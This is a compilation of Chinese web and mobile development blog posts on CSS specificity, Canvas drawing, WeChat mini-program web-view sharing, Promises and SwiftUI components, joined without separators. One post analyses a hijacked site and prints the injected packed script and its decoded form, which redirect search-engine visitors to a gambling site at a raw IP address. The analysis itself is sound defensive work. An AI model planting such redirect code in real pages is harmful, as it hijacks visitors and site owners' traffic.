* ┗┓┓┏━┳┓┏┛
* ┃┫┫ ┃┫┫
* ┗┻┛ ┗┻┛
*
* ━━━━━━感觉萌萌哒━━━━━━
*/
生成小程序具体页面的小程序码,官方给了接口,我们可以通过 postman 来手动生成:
注意:
path: shop/shop?id=1
先附上我CSDN的地址(2013-12-26): http://blog.csdn.net/diamont1001/article/details/17578719
动画效果和场景不同,需要的技术实现方式也不同,让我们一起来探索下各需求场景下适合的技术实现方式吧(古人云:前端动画不只有 CSS3 的^_^)
播放式的动画场景,类似动画片一样的一播到底,一般交互会比较少,最多也就是在中途跳个按钮打断一下。
像这种场景,自然而然的我们会想到了视频,或者 canvas ,嗯没错,这里应该没人会说 CSS3 吧!
这种情况,工作量大多都集中在前期的动画设计上,也就是UI同学的活了,前端开发人员来说,只需要把做好的 flash 动画导出来做下适配,增加点业务逻辑即可。
当然,直接导出来的代码往往需要加工一下,比如做下延时加载、合并请求和资源回收等,这个需要自己在实际工作中慢慢探索。
线上例子:http://campaign.wandoujia.com/market/vincent/
视频播放,其实就是使用 video 标签来播放视频,但是这种方案会有很多兼容性的问题,比如在安卓 webview 上,点击播放会自动全屏的问题,再比如 UC 浏览器播放视频会有个去不掉的操作栏挡在前面等等,因此到目前为止视频我们用的最少。
但是,我们发现微信的H5很多时候都有使用视频播放,比如之前的薛之谦的那个宣传页。没办法,人家兼容性不用考虑(只需考虑微信),而微信对视频的控制也有白名单机制,内部使用无障碍。
这,这方法是不是太笨了……
其实,没有笨方法,只有笨的使用者!
如果场景太长,其实就不太适合使用该方案了,因为图片太多,加载是一个问题,渲染更是一个问题。
该方法比较适合用到一些短的动画,比如一些转场动画,或者重复的展示广告小块,比如动态 logo 什么的。
该方案需要关注图片预加载和释放的问题。
……未完待续
最近发现,挺多同学对 CSS 的优先级(权重)都了解不深,或者在学习的过程中比较容易忽略,一般也只知道「后来优先」这一原则,这里就整理一下做个扫盲贴吧!
body header
跟 html header
是一样的)通用选择器(*
)< 标签元素(div
) < 类(.
) < 属性 < 伪类 < ID(#
) < 内联
选择器 | 权重 | 举个例子 |
---|---|---|
标签和伪元素 | 1 | div , ::before |
类、属性、伪类 | 10 | .btn , [type="radio"] , :hover |
ID | 100 | #detail |
内联 | 1000 | style="" |
:not
否定伪类在优先级计算中不会被看作是伪类。
/* 权重:1 */
div {
}
/* 权重:10 */
.btn {
}
/* 权重:100 */
#detail {
}
/* 权重:10 + 1 = 11 */
.btn div {
}
/* 权重:100 + 1 = 101 */
#detail div {
}
/* 权重:100 + 10 + 1 = 111 */
#detail .btn div {
}
!important
使用 !important
将覆盖任何其他声明。
但是,不推荐使用 !important
,能不用尽量别用,因为它会破坏样式表中固有的级联规则 ,使得调试找 bug 变得更加困难。
当两条相互冲突的带有 !important
的规则的声明被应用到相同的元素上时,拥有更大优先级的声明会被采用。
对于 !important
,有几个建议:
!important
!important
早上有位同学找我求救,说她朋友的一个网站有点奇怪,如下:
【2. 百度搜索,排在前三都是(这个 SEO 做的可以啊)】
好吧,不得不说,这站点的 SEO 做的还是不错的,起码搜索关键词,前三都是他们的,这么好的流量入口,就这么被硬生生的被别人给劫走了,关键还是一个害人的赌博网站(这些网站还真是春风吹又生啊)。
其实一看就知道被劫持了。但是劫持的方式有很多种:参考这里
今天难得遇到一个现成的劫持的案例,不去分析下感觉有点对不起自己的好奇心!
好吧,开搞!
首先,打开 Chrome Dev Tools,看下网络请求的情况!
【复制百度搜索出来的第一个链接:首页-德智行天下,可以看到其中的网络请求如下】
从网络请求来看,还是挺正常的,起码,解释到的 IP 地址是对的。
但是看不到服务器返回的 html 文档数据,这是因为 HTTPS 的原因吧,看第一行请求,是百度快照的 HTTPS 的地址。
好吧,再次受挫,HTTPS 内容看不到。
不过没关系,“Charles” 之所以称之为神器,当然还有杀手锏。
找出钥匙串,添加 HTTPS 证书吧,呃,不懂的点这里
【嗯,这下出来了,可算能看到百度快照里加载的原站点的 html 文档内容了】
仔细一看,在 head 标签里发现了有这么一段奇怪代码,一看就知道是 “好东西”,哈哈!
【把代码 copy 出来看看】
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.3("<4 8=\\"a\\">");2.3("d s=2.6");2.3("7(s.1(\\"9\\")>0 || s.1(\\"b\\")>0 || s.1(\\"c\\")>0 ||s.1(\\"r\\")>0 ||s.1(\\"e\\")>0 ||s.1(\\"f\\")>0 ||s.1(\\"g\\")>0 ||s.1(\\"h\\")>0 )");2.3("i.j=\\"k://l.m.n.o:p/q/5/\\";");2.3("</4>");',29,29,'|indexOf|document|writeln|script|31pc|referrer|if|LANGUAGE|baidu|Javascript|sogou|soso|var|uc|bing|yahoo|so|location|href|http|162|218|54|53|1111|libo|sm|'.split('|'),0,{}))
呃,什么鬼,好像有点看不懂,就看到了 eval
这个让人看到就觉得可怕的函数,里面的内容还不看懂!!!
好吧,其实这段只是压缩了的 JS 代码,可以在线解解:
百度搜一下 “JS在线解压”,到这里 http://tool.lu/js/
【解出来终于能见到其真面目了】
document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"http://162.218.54.53:1111/libo/31pc/\";");
document.writeln("</script>");
好吧,到这里,一切都已经很明显了,这代码应该比较轻松能读懂,就是判断是搜索引擎过来的就直接跳转到指定的页面(也就是上面所说的 “赌博网站”)。
问题已经找到了,接下来就要解决之
做完这些后,其实还不够,因为就算投诉让百度更新了快照,但页面劫持问题没解决,还是没用。
所以,还要做的事情就是:“解决劫持” 问题。
上面也已经提到了,劫持的方式有很多,一般的注入方式可以通过禁用 document.write 等方式去简单解决(当然没这么简单),但是并不能完全解决问题。
而目前最好的方式就是:上 HTTPS
,而且,这也是目前为止知道的一劳永逸的唯一的办法了。
最后,想问下哪里可以有这种违规网站的举报渠道,像这种害人的网站,远比“色情”网站更应该被封……
净化网络环境,从我做起!
微信小程序有个 web-view 组件,有了它,微信就相当于变成了个浏览器了,让小程序有了无限的可能,简直就是前端同学的福音。
当然,它也有一定的限制,比如:
有了它,可以让网站的小程序化变的非常简单,只要把 HTTPS 支持上即可,一行代码实现一个小程序,这都不是梦 ^_^
<!-- wxml -->
<web-view src="https://www.xxx.com/"></web-view>
小程序的最大优势也在于它的流量上面,而流量的获取,就免不了分享功能。在 web-view
里分享出去的页面,怎么与首页形成回流关系,整体流程该怎么走,相信用过这个组件的同学都会遇到这个问题。
参考了网上的资料(微信小程序,实现内嵌网页的分享),折腾了一翻,终于把整个流程搞通了,具体实现思路这里给分享一下。
一共两个原生页面,一个作为小程序入口,一个作为二级页面承载页:
pages/index
:小程序入口(包含分享后的页面)pages/share
:承载分享出去的具体详情页面pages/index
,通过 ?shareUrl=
参数把分享 URL 带进来shareUrl
参数获取分享 URL,调用 wx.navigateTo
调起二级页面 pages/share
来打开具体 URLwepy
框架介绍)app.wpy
声明个变量,用于存放内嵌页地址// app.wpy
globalData = {
userInfo: null,
ctxPath: 'https://www.demo.com'
}
pages/index
pages/share
index.wpy
<template>
<web-view src="{{web_src}}"></web-view>
</template>
<script>
data = {
web_src: ''
}
onLoad(options) {
let self = this
self.setData({
web_src: self.$parent.globalData.ctxPath // 设置首页 web-view 链接
})
if (options.shareUrl) { // 如果有分享链接带进来,则调起二级页来打开
wx.navigateTo({
url: './share?shareUrl=' + options.shareUrl
})
}
}
</script>
share.wpy
<template>
<web-view src="{{share_src}}"></web-view>
</template>
<script>
onLoad(options) {
let self = this
self.setData({
share_src: decodeURIComponent(options.shareUrl)
})
}
</script>
首页分享逻辑 index.wpy
onShareAppMessage(options) {
let self = this
let path = 'pages/index'
if (self.$parent.globalData.ctxPath.indexOf(options.webViewUrl) !== 0) { // 不能直接用相等判断,有#参数会被截断的可能
path += '?shareUrl=' + encodeURIComponent(options.webViewUrl) // 当时页不是首页,把当前页面链接以参数形式带到分享出去的链接里,记得 url encode 一下,不然会被截断
}
return {
title: 'xxx',
path: path
}
}
分享页分享逻辑 index.wpy
onShareAppMessage(options) {
let path = 'pages/index?shareUrl=' + encodeURIComponent(options.webViewUrl) // 记得这里分享路由是首页而不是当前页,首页作为小程序的惟一入口
return {
title: 'xxx',
path: path
}
}
按照以上的逻辑,可以实现一套完整的基于内嵌页的小程序分享链路,无论分享的是首页还是具体的详情页面,点击进来都先进来首页,然后根据需要再去导航到其他二级页面。
<web-view/>
组件上通过右键 - 调试,打开 <web-view/>
组件的调试。<web-view/>
,<web-view/>
会自动铺满整个页面,并覆盖其他组件。<web-view/>
网页与小程序之间不支持除 JSSDK
提供的接口之外的通信。<web-view/>
的 src 后面加个 #wechat_redirect
解决。Promise
的实例对象有三个状态:pending, fulfilled, rejected,如下图:
我们可以理解成两种状态:「初始化(pending)」和「结束(resolve|reject)」,而且它是一个不可逆的过程。也就是说,一个 promise 新对象一开始是 pending
状态,一旦调用了 resolve
或者 reject
后,就会变成结束状态,不可逆。
下面举几个栗子:
async function foo() {
setTimeout(function() {
return Promise.resolve();
}, 1000);
}
看上面这个函数,也是常用的一种写法,每次调用它都会延时1秒。
async function foo() {
return new Promise(resolve => {
setTimeout(function() {
resolve();
}, 1000);
})
}
同样的,这个函数也是一样效果。但是有一点不一样的是,这个函数它返回的是一个新实例化的 Promise
对象,我们可以利用它来实现一些不一样的场景。
比如一个页面,它的初始化配置信息需要从网络上请求,其实就是异步获取,有了 Promise
,我们可以这么解决:
async function foo() {
return new Promise(resolve => {
setTimeout(function() {
resolve(123);
}, 1000);
})
}
// 初始化的时候去请求
const handler = foo();
// 其他地方查询配置信息,有两种可能:
// - foo 函数还没请求完:会等待完成后再返回
// - foo 函数已请求完:马上返回
const config = await handler; // 123
这样,它只会请求一次网络请求,以后每次查询都会马上返回。
最近整理了下10年前用C语言写的几个经典小游戏,都是基于 Windows 的 Win-Api
实现的 字符界面展示,感觉还是挺有意思的,现在回看代码很多都已经忘记了。
有兴趣的可以去下载体验一下(需要 Windows 机器),每个项目的 /bin/release
文件夹下载下来都是编译好可运行的程序。
所谓游戏“引擎”也是自己实现的,其实就是一个简单的 定时器,不停的轮询,每隔一小段时间就去检测一下数据状态,通过数据的改变不停的刷新页面的展示。
这类小游戏的开发,有几个核心概念:定时器、状态数据、控制器、图形渲染
Windows Win-Api
实现的字符界面展示)之前在学习前端开发的时候,也把贪吃蛇改编成 H5 版本 的,点击打开可玩。
迷宫地图的生成算法是参考 “图的深度优先算法” 自己写的。
首先分享个文章:前端性能监控:window.performance
Canvas 的画面栅格以及坐标空间跟 css 的不一样,它是以左上角为原点,横向为 X 轴,纵向为 Y 轴,如图。所有元素的位置都相对于原点定位。
首先实例化个 canvas
和 ctx
:
var canvas = document.createElement('canvas');
// canvas.width = 320;
// canvas.height = 240;
var ctx = canvas.getContext('2d');
ctx.fillStyle = 'rgba(255, 0, 0, .6)'; // 设置填充颜色(默认为黑色)
ctx.fillRect(10, 10, 200, 100); // 填充颜色
// 也可以这样
// ctx.rect(10, 10, 200, 100);
// ctx.fill();
ctx.clearRect(20, 20, 80, 50); // 清空一个矩形区域
ctx.strokeStyle = 'rgba(255, 0, 0, .6)'; // 设置绘制线条的颜色
ctx.strokeRect(10, 10, 200, 100);
// 也可以这样
// ctx.rect(10, 10, 200, 100);
// ctx.stroke();
ctx.fillStyle = 'rgba(255, 0, 0, .6)'; // 设置填充颜色
ctx.arc(200, 80, 50, 0, 2 * Math.PI); // 绘制圆
ctx.fill(); // 填充颜色
ctx.arc(80, 80, 50, 0, Math.PI); // 半圆
ctx.fill(); // 填充颜色
ctx.arc(200, 100, 50, 0, 2 * Math.PI); // 绘制圆
ctx.strokeStyle = 'rgba(255, 0, 0, .6)'; // 设置绘制线条的颜色
ctx.lineWidth = 1; // 设置绘制线条的宽度(默认为 1)
ctx.stroke(); // 绘制线条
ctx.moveTo(100, 50); // 设置线的起始位置
ctx.lineTo(200, 100); // 设置线的结束位置
ctx.strokeStyle = 'rgba(255, 0, 0, .6)'; // 设置绘制线条的颜色
ctx.lineWidth = 5; // 设置绘制线条的宽度
ctx.stroke(); // 绘制
ctx. setLineDash()
方法可以支持绘制虚线。
ctx.setLineDash([5, 10, 15]);
console.log(ctx.getLineDash()); // [5, 10, 15]
ctx.strokeStyle = 'rgba(255, 0, 0, .6)'; // 设置绘制线条的颜色
ctx.lineWidth = 2; // 设置绘制线条的宽度
ctx.arc(100, 150, 50, 0, 2 * Math.PI);
ctx.moveTo(100, 50); // 设置线的起始位置
ctx.lineTo(200, 100); // 设置线的结束位置
ctx.stroke(); // 绘制
ctx.lineDashOffset
属性设置虚线的偏移量,可以利用它来非常简单的实现跑马灯效果。
var offset = 0;
function draw() {
ctx.clearRect(0, 0, canvas.width, canvas.height);
ctx.setLineDash([4, 2]);
ctx.lineDashOffset = -offset;
ctx.strokeRect(10, 10, 100, 100);
}
function march() {
offset++;
if (offset > 16) {
offset = 0;
}
draw();
setTimeout(march, 20);
}
march();
就好像一般的绘图软件一样,我们可以用线性或者径向的渐变来填充或描边。
我们用下面的方法新建一个 canvasGradient
对象,并且赋给图形的 fillStyle
或 strokeStyle
属性。
var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
var radialgradient = ctx.createRadialGradient(75, 75, 0, 75, 75, 100);
创建出 canvasGradient
对象后,我们就可以用 addColorStop
方法给它上色了。
gradient.addColorStop(position, color),接受 2 个参数,position
参数必须是一个 0.0 与 1.0 之间的数值,表示渐变中颜色所在的相对位置。例如,0.5 表示颜色会出现在正中间。color
参数必须是一个有效的 CSS 颜色值(如 #FFF
, rgba(0, 0, 0, 1)
,等等)。
你可以根据需要添加任意多个色标(color stops)。下面是最简单的线性黑白渐变的例子。
var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
lineargradient.addColorStop(0, 'white');
lineargradient.addColorStop(1, 'black');
举个栗子
var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
lineargradient.addColorStop(0, '#ff0000');
lineargradient.addColorStop(0.5, '#0000ff');
lineargradient.addColorStop(0.5, '#ffffff');
lineargradient.addColorStop(1, '#00ff00');
ctx.fillStyle = lineargradient;
ctx.fillRect(10,10,130,130);
var radialgradient = ctx.createRadialGradient(45, 45, 10, 52, 50, 30);
radialgradient.addColorStop(0, '#A7D30C');
radialgradient.addColorStop(0.9, '#019F62');
radialgradient.addColorStop(1, 'rgba(1, 159, 98, 0)');
ctx.fillStyle = radialgradient;
ctx.fillRect(20, 20, 150, 150);
ctx.beginPath();
ctx.fillStyle = 'rgba(255, 0, 0, .6)';
ctx.moveTo(75,50);
ctx.lineTo(100,75);
ctx.lineTo(100,25);
ctx.fill();
fillText(text, x, y [, maxWidth])
: 在指定的(x,y)位置填充指定的文本,绘制的最大宽度是可选的strokeText(text, x, y [, maxWidth])
: 在指定的(x,y)位置绘制文本边框,绘制的最大宽度是可选的ctx.strokeStyle = 'rgba(255, 0, 0, .6)';
ctx.fillStyle = 'rgba(255, 0, 0, .6)';
ctx.font = "48px 微软雅黑"; // 文本字体样式
ctx.fillText("Hello world", 10, 50);
ctx.strokeText("Hello world", 10, 150);
ctx.strokeStyle = 'rgba(255, 0, 0, .6)';
ctx.fillStyle = 'rgba(255, 0, 0, .6)';
ctx.font = "48px 微软雅黑"; // 文本字体样式
ctx.shadowOffsetX = 2;
ctx.shadowOffsetY = 2;
ctx.shadowBlur = 2;
ctx.shadowColor = 'rgba(0, 0, 0, 0.5)';
ctx.fillText('Hello world', 10, 50);
ctx.strokeText('Hello world', 10, 150);
字段 | 注释 | 可选值 | 默认 |
---|---|---|---|
ctx.font | 文本字体的样式 | 和 CSS font 属性相同的语法 | 10px sans-serif |
ctx.textAlign | 文本对齐 | start , end , left , right or center |
start |
ctx.textBaseline | 基线对齐 | top , hanging , middle , alphabetic , ideographic , bottom |
alphabetic |
ctx.direction | 基线方向 | ltr , rtl , inherit |
inherit |
ctx.shadowOffsetX | 阴影在 X 轴的延伸距离,它们是不受变换矩阵所影响的。负值表示阴影会往左延伸,正值则表示会往右延伸 | 0.0 | |
ctx.shadowOffsetY | 阴影在 Y 轴的延伸距离,它们是不受变换矩阵所影响的。负值表示阴影会往上延伸,正值则表示会往下延伸 | 0.0 | |
ctx.shadowBlur | 阴影的模糊程度,其数值并不跟像素数量挂钩,也不受变换矩阵的影响 | 0.0 | |
ctx.shadowColor | shadowColor 是标准的 CSS 颜色值,用于设定阴影颜色效果 | 全透明的黑色 |
绘制文本之前,如果想提前计算出更多的文本细节(比如宽度),下面的方法可以给你测量文件的方法。
ctx.measureText(),返回一个 TextMetrics 对象的宽度、所在像素,这些体现文本特性的属性。
ctx.font = "28px 微软雅黑";
var text = ctx.measureText("foo"); // TextMetrics object
console.log(text.width); // 43.259979....
canvas
更有意思的一项特性就是图像操作能力。
canvas
支持的图片源有:
SVG 图像必须在
<svg>
根指定元素的宽度和高度。
这些源统一由 CanvasImageSource 类型来引用。
drawImage(image, x, y)
image
: image 或者 canvas 对象x
和 y
: 绘制原点var img = new Image();
img.onload = function() {
ctx.drawImage(img, 20, 10);
ctx.beginPath();
ctx.fillStyle = 'rgba(255, 0, 0, .6)';
ctx.arc(220, 60, 30, 0, 2 * Math.PI);
ctx.fill();
}
img.src = 'https://p1.ssl.qhmsg.com/dr/270_500_/t0154d7996fa9a99e93.jpg';
drawImage(image, x, y, width, height)
,这个方法比前面的加多了两个参数:
width
: 写入画布时图片的宽度height
: 写入画布时图片的高度var img = new Image();
img.onload = function() {
ctx.drawImage(img, 20, 10, this.width/2, this.height/2);
ctx.beginPath();
ctx.fillStyle = 'rgba(255, 0, 0, .6)';
ctx.arc(220, 60, 30, 0, 2 * Math.PI);
ctx.fill();
}
img.src = 'https://p1.ssl.qhmsg.com/dr/270_500_/t0154d7996fa9a99e93.jpg';
drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight)
,方法名一样,但是参数多了。
var img = new Image();
img.onload = function() {
ctx.drawImage(img, 20, 10, this.width/2, this.height/2); // 缩放一半
ctx.drawImage(img, 40, 10, 200, 200, 160, 120, 100, 100); // 切片绘制
ctx.beginPath();
ctx.fillStyle = 'rgba(255, 0, 0, .6)';
ctx.arc(220, 60, 30, 0, 2 * Math.PI);
ctx.fill();
}
img.src = 'https://p1.ssl.qhmsg.com/dr/270_500_/t0154d7996fa9a99e93.jpg';
跟 CSS 的 background 有点像,也跟上面的渐变有点类似,canvas 提供了 createPattern(image, type) 方法来支持通过图片来建立图案模式。
type
取值跟 background-repeat
类似:
repeat
repeat-x
repeat-y
no-repeat
图案的应用跟渐变很类似的,创建出一个 pattern 之后,赋给 fillStyle 或 strokeStyle 属性即可。
var img = new Image();
img.src = 'https://ss0.bdstatic.com/70cFvHSh_Q1YnxGkpoWK1HF6hhy/it/u=4038478576,3629790264&fm=27&gp=0.jpg';
img.onload = function(){
var ptrn = ctx.createPattern(img, 'repeat');
ctx.fillStyle = ptrn;
ctx.fillRect(10, 10, 300, 220);
}
HTML 规范中图片有一个 crossorigin 属性,结合合适的 CORS 响应头,就可以实现在画布中使用跨域 元素的图像。
尽管不通过 CORS 就可以在画布中使用图片,但是这会污染画布。一旦画布被污染,你就无法读取其数据。例如,你不能再使用画布的 toBlob()
, toDataURL()
或 getImageData()
方法,调用它们会抛出安全错误。
这种机制可以避免未经许可拉取远程网站信息而导致的用户隐私泄露。
当我们用到 fill
(或者 clip
和 isPointinPath
)你可以选择一个填充规则,该填充规则根据某处在路径的外面或者里面来决定该处是否被填充,这对于自己或者自己路径相交或者路径被嵌套的时候是有用的。
比如 ctx.fill('evenodd')
。
ctx.beginPath();
ctx.fillStyle = 'rgba(255, 0, 0, .6)';
ctx.arc(50, 50, 30, 0, Math.PI*2, true);
ctx.arc(50, 50, 15, 0, Math.PI*2, true);
ctx.fill('nonzero');
ctx.beginPath();
ctx.fillStyle = 'rgba(0, 255, 0, .6)';
ctx.arc(150, 50, 30, 0, Math.PI*2, true);
ctx.arc(150, 50, 15, 0, Math.PI*2, true);
ctx.fill('evenodd');
类似 ctx.fillStyle
,canvas 还有支持其他的属性,如下表。
字段 | 注释 | 默认 |
---|---|---|
ctx.fillStyle = color | 设置图形的填充颜色(支持RGBA) | #000 |
ctx.strokeStyle = color | 设置图形轮廓的颜色(支持RGBA) | #000 |
ctx.globalAlpha | 透明度(0.0 ~ 1.0) | 1.0 |
ctx.lineWidth | 设置线条宽度 | 1 |
ctx.lineCap | 设置线条末端样式(butt , round , square ) |
butt |
ctx.lineJoin | 设定线条与线条间接合处的样式(round : ) , bevel : ] , miter : > ) |
miter |
ctx.miterLimit | 限制当两条线相交时交接处最大长度;所谓交接处长度(斜接长度)是指线条交接处内角顶点到外角顶点的长度) |
CSDN地址(2016-05-18): http://blog.csdn.net/diamont1001/article/details/51444279
最近在项目中做到头像本地处理的时候发现一个问题,就是上传的头像源图如果比较大,会导致生成后的头像锯齿比较明显。
为了解决这个问题,网上搜了好多资料,很多都是说不断的缩小图片然后再放大图片,再渲染到canvas,这个方案试过了,但是无论从效率还是效果上都不太尽人意。
后来不小心在github上发现了一个小插件,还真好用,完美的把问题解决了。
这里要感谢一下插件作者,再帮他宣传一下。
插件地址:https://github.com/sapics/scale.js
var imgLogo = new Image();
imgLogo.src = _this._config.logo;
imgLogo.onload = function() {
_this._ctx.drawImage(imgLogo, 0, 0, _this._config.logoWidth, _this._config.signHeight);
var imgAvatar = new Image();
imgAvatar.src = _this._config.avatar;
imgAvatar.onload = function() {
var sx = 0, sy = 0,
sw = this.width, sh = this.height,
dx = _this._config.logoWidth, dy = 0,
dw = _this._config.avatarWidth, dh = _this._config.signHeight;
var deltaD = dw / dh,
deltaS = sw / sh;
if(deltaD > deltaS) { // 高图
var oldSh = sh;
sh = (dh / dw) * sw;
// 取中间
if(oldSh > sh) {
sy = (oldSh - sh) / 2;
}
} else if(deltaD < deltaS) { // 横图
var oldSw = sw;
sw = (dw / dh) * sh;
// 取中间
if(oldSw > sw) {
sx = (oldSw - sw) / 2;
}
}
// _this._ctx.globalCompositeOperation = 'source-atop';
// 先裁剪
var tCanvas = document.createElement('canvas'),
tContext = tCanvas.getContext('2d');
tCanvas.width = Math.floor(sw);
tCanvas.height = Math.floor(sh);
tContext.drawImage(imgAvatar, Math.floor(sx), Math.floor(sy), Math.floor(sw), Math.floor(sh), 0, 0, Math.floor(sw), Math.floor(sh));
// 再缩小
// 对要计算的值,先取整后再绘图,可以提高效率
var scaleImage = scale({width: Math.floor(dw), height: Math.floor(dh)}, tCanvas, 'jpeg');
_this._ctx.drawImage(scaleImage, Math.floor(dx), Math.floor(dy), Math.floor(dw), Math.floor(dh));
if(typeof callback === 'function') {
callback(_this._canvas.toDataURL());
}
};
};
网上查了好多,都是 windows 版的,mac 版的其实也很简单,退出软件之后,运行以下命令即可:
defaults write com.torusknot.SourceTreeNotMAS completedWelcomeWizardVersion 3
react-native 官方文档 其实写的挺好挺全的,在你需要使用一个新东西新组件的时候,不妨先到官方网站搜索一下看看。
react-native-community 是 react-native 的官方社区,现在作者也有意的把一些核心支撑能力从 react-native 核心库中慢慢剥离出来放到官方社区里去了。
所以,在你需要寻找一个组件库的时候,最好先到 react-native-community 搜一下看有没有。
功能 | 框架/组件 | 备注 |
---|---|---|
聊天界面 | react-native-gifted-chat aurora-imui |
如何构建聊天界面 |
导航组件 | react-navigation | |
UI 框架 | react-native-elements NativeBase |
2018,React Native第三方组件库汇总 |
Icon | react-native-vector-icons | |
页内Tab | react-native-tab-view | |
iPhone X 适配 | react-native-iphone-x-helper | |
设备信息 | react-native-device-info | |
分享组件 | react-native-share | |
图片轮播 | react-native-swiper | |
图片全屏展示 | react-native-image-viewer | |
图片选择器(单图) | react-native-image-picker | |
图片选择器(多图) | react-native-image-crop-picker | |
全局loading | react-native-loading-spinner-overlay | |
Toast | react-native-root-toast | 支持API方式 |
输入框获得焦点时自动滑动到输入框 | react-native-keyboard-aware-scroll-view | |
查询 status bar 高度 | react-native-status-bar-height | |
端内截图 | react-native-view-shot | 可以把端内的 View 标签截图 |
富文本展示 | react-native-htmlview | |
特效动画 | lottie-react-native | |
占位符 | react-content-loader |
SwiftUI 作为苹果新一代的开发框架,虽然还不很成熟,但是用起来是真的爽,下面记录一下关于 SwiftUI 的组件化开发相关事宜。
XCode 在这方面做的很好,要引入新文件的话,不用像其他开发语言一样,需要 import
文件进来,直接右击文件夹点击添加文件即可,它的包含关系会自动写到 info 文件里去的,非常方便。
组件的定义在官方文档很容易找的到,但是参数的传递,以及怎么样定义才能让某些参数可传可不传,这个问题之前困扰了我很长时间,下面例子可以实现这个逻辑:
MyIcon.swift
import SwiftUI
struct MyIcon: View {
// 支持传递的参数
var icon: String = "questionmark"
var color: Color = Color.primary
// 实现多个构造函数,支持多种参数传递方式
init() {}
init(_ icon: String) { // _ 表示该参数传递时不用写参数名
self.icon = icon
}
init(_ icon: String, color: Color) {
self.icon = icon
self.color = color
}
var body: some View {
Image(systemName: icon)
.font(.title)
.foregroundColor(color)
.frame(width: 40, height: 40)
}
}
struct MyIcon_Previews: PreviewProvider {
static var previews: some View {
MyIcon()
}
}
以上组件,支持的调用方式如下:
// 默认方式
MyIcon()
// 只传递 icon
MyIcon("questionmark")
// 传递 icon 和 color 两个参数
MyIcon("questionmark", color: .orange)
MyCard.swift
import SwiftUI
struct MyCard<Content: View>: View {
let content: () -> Content
init(@ViewBuilder content: @escaping () -> Content) {
self.content = content
}
var body: some View {
VStack {
content()
}
.padding()
.background(Color.orange.opacity(0.1))
.cornerRadius(8)
}
}
组件调用:
...
MyCard {
Text("Hello MyCard")
}
...
import SwiftUI
struct MyCard<Content: View>: View {
private var bgColor: Color = Color.orange.opacity(0.1)
private var borderColor: Color = Color.orange.opacity(0.1)
private var borderWidth: CGFloat = 1
private var radius: CGFloat = 8.0
private var fill: Bool = false // 是否填充
let content: () -> Content
init(@ViewBuilder content: @escaping () -> Content) {
self.content = content
}
init(fill: Bool, bgColor: Color = Color.orange.opacity(0.1), borderColor: Color = Color.orange.opacity(0.1), borderWidth: CGFloat = 1, radius: CGFloat = 8.0, @ViewBuilder content: @escaping () -> Content) {
self.fill = fill
self.bgColor = bgColor
self.borderColor = borderColor
self.borderWidth = borderWidth
self.radius = radius
self.content = content
}
var body: some View {
if self.fill {
VStack {
content()
}
.padding()
.background(self.bgColor)
.cornerRadius(self.radius)
} else {
VStack {
content()
}
.padding()
.overlay(
RoundedRectangle(cornerRadius: self.radius)
.stroke(self.borderColor, lineWidth: self.borderWidth)
)
}
}
}
组件调用:
MyCard {
Text("Hello MyCard")
}
// 填充
MyCard(fill: true) {
Text("Hello MyCard")
}
// 填充用设置背影颜色
MyCard(fill: true, bgColor: Color.yellow.opacity(0.3)) {
Text("Hello MyCard")
}
struct RowLine<TargetView: View>: View {
var text: String
var imageName: String
var nextView: TargetView
var body: some View {
NavigationLink(destination: nextView) {
HStack {
Image(systemName: imageName)
Text(text)
}
}
}
}
// 计算距离生日的天数
private func daysToBirthday(birthday: Date) -> Int {
// 今天生日的情况(不然后面的计算会误把下个生日算到明年,也就是返回365)
if (Calendar.current.dateComponents([.year, .month, .day], from: Date()).month == Calendar.current.dateComponents([.year, .month, .day], from: birthday).month
&& Calendar.current.dateComponents([.year, .month, .day], from: Date()).day == Calendar.current.dateComponents([.year, .month, .day], from: birthday).day) {
return 0
}
let today = Calendar.current.startOfDay(for: Date())
let date = Calendar.current.startOfDay(for: birthday)
let components = Calendar.current.dateComponents([.day, .month], from: date)
let nextDate = Calendar.current.nextDate(after: today, matching: components, matchingPolicy: .nextTimePreservingSmallerComponents)
return Calendar.current.dateComponents([.day], from: today, to: nextDate ?? today).day ?? 0
}
// 计算某个时间到今天的天数
private func daysToNow(from: Date) -> Int {
let date1 = Calendar.current.startOfDay(for: from)
let date2 = Calendar.current.startOfDay(for: Date())
// 不能直接用 date 进行 Calendar.current.dateComponents([.day], from: from, to: Date()) 计算,这样不超过24小时的都算是返回0,比如昨天会返回0而前天会返回1
let components = Calendar.current.dateComponents([.day], from: date1, to: date2)
return components.day ?? 0
}
extension Date {
/// 获取当前 秒级 时间戳 - 10位
var timeStamp : String {
let timeInterval: TimeInterval = self.timeIntervalSince1970
let timestamp = Int(timeInterval)
return "\(timestamp)"
}
/// 获取当前 毫秒级 时间戳 - 13位
var milliStamp : String {
let timeInterval : TimeInterval = self.timeIntervalSince1970
let millisecond = CLongLong(round(timeInterval*1000))
return "\(millisecond)"
}
}
import Foundation
import LocalAuthentication // 生物特征识别
class Authentication: ObservableObject{
@Published var hasAuthenticate: Bool = false // 是否已鉴权
/*
* 鉴权函数,调起 FACE ID 生物识别
* 用法:
* 1)引入鉴权环境对象 @EnvironmentObject var authenticateObj : Authentication
* 2)需要的时候,调用函数进行鉴权 authenticateObj.authenticate()
* 3)判断是否已鉴权 if authenticateObj.hasAuthenticate { }
*/
func authenticate() {
let context = LAContext()
var error: NSError?
// 如果已经鉴权,则不用再调起
if self.hasAuthenticate {
return
}
// 检查是否可以进行生物特征识别
if context.canEvaluatePolicy(.deviceOwnerAuthenticationWithBiometrics, error: &error) {
// 如果可以,执行识别
let reason = "We need to unlock your data."
context.evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics, localizedReason: reason) { success, authenticationError in
// 鉴权完成
DispatchQueue.main.async {
if success {
